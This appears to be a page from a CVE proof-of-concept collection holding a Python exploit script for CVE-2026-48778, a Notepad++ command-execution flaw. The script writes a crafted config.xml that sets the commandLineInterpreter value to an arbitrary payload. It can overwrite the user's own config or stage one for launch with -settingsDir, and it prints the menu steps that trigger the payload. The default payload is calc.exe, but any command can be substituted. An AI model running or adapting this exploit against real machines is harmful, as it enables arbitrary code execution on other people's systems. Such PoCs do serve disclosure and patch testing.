5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_CVE-2026-48778.py PY
#!/usr/bin/env python3
# CVE-2026-48778 - Notepad++ RCE via config.xml commandLineInterpreter
import argparse
import os
import shutil
import tempfile
import xml.etree.ElementTree as ET

APPDATA = os.environ.get("APPDATA", "")
NPP_CONFIG = os.path.join(APPDATA, "Notepad++", "config.xml")
BACKUP_PATH = NPP_CONFIG + ".bak"


def write_malicious(payload: str, target: str) -> None:
    root = ET.Element("NotepadPlus")
    cfgs = ET.SubElement(root, "GUIConfigs")
    el = ET.SubElement(cfgs, "GUIConfig")
    el.set("name", "commandLineInterpreter")
    el.text = payload
    tree = ET.ElementTree(root)
    ET.indent(tree, space="    ")
    with open(target, "w", encoding="utf-8") as f:
        f.write('<?xml version="1.0" encoding="UTF-8" ?>\n')
        tree.write(f, encoding="unicode", xml_declaration=False)
    print(f"[+] Wrote malicious config.xml -> {target}")


def mode_direct(payload: str, restore: bool) -> None:
    if restore:
        if os.path.exists(BACKUP_PATH):
            shutil.copy2(BACKUP_PATH, NPP_CONFIG)
            os.remove(BACKUP_PATH)
            print(f"[+] Restored original config.xml from backup")
        else:
            print("[-] No backup found")
        return
    if os.path.exists(NPP_CONFIG):
        shutil.copy2(NPP_CONFIG, BACKUP_PATH)
        print(f"[*] Backed up original -> {BACKUP_PATH}")
    write_malicious(payload, NPP_CONFIG)
    print("[*] Trigger: open Notepad++, then File -> Open Containing Folder -> cmd")


def mode_settingsdir(payload: str) -> None:
    tmpdir = os.path.join(tempfile.gettempdir(), "npp_poc_48778")
    os.makedirs(tmpdir, exist_ok=True)
    target = os.path.join(tmpdir, "config.xml")
    write_malicious(payload, target)
    npp = r"C:\Program Files\Notepad++\notepad++.exe"
    print(f'[*] Launch command:')
    print(f'    "{npp}" -settingsDir="{tmpdir}"')
    print("[*] Trigger: File -> Open Containing Folder -> cmd")


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-48778 PoC")
    parser.add_argument("--mode", choices=["direct", "settingsdir"], default="direct")
    parser.add_argument("--payload", default="calc.exe")
    parser.add_argument("--restore", action="store_true")
    args = parser.parse_args()

    if args.mode == "direct":
        mode_direct(args.payload, args.restore)
    else:
        mode_settingsdir(args.payload)


if __name__ == "__main__":
    main()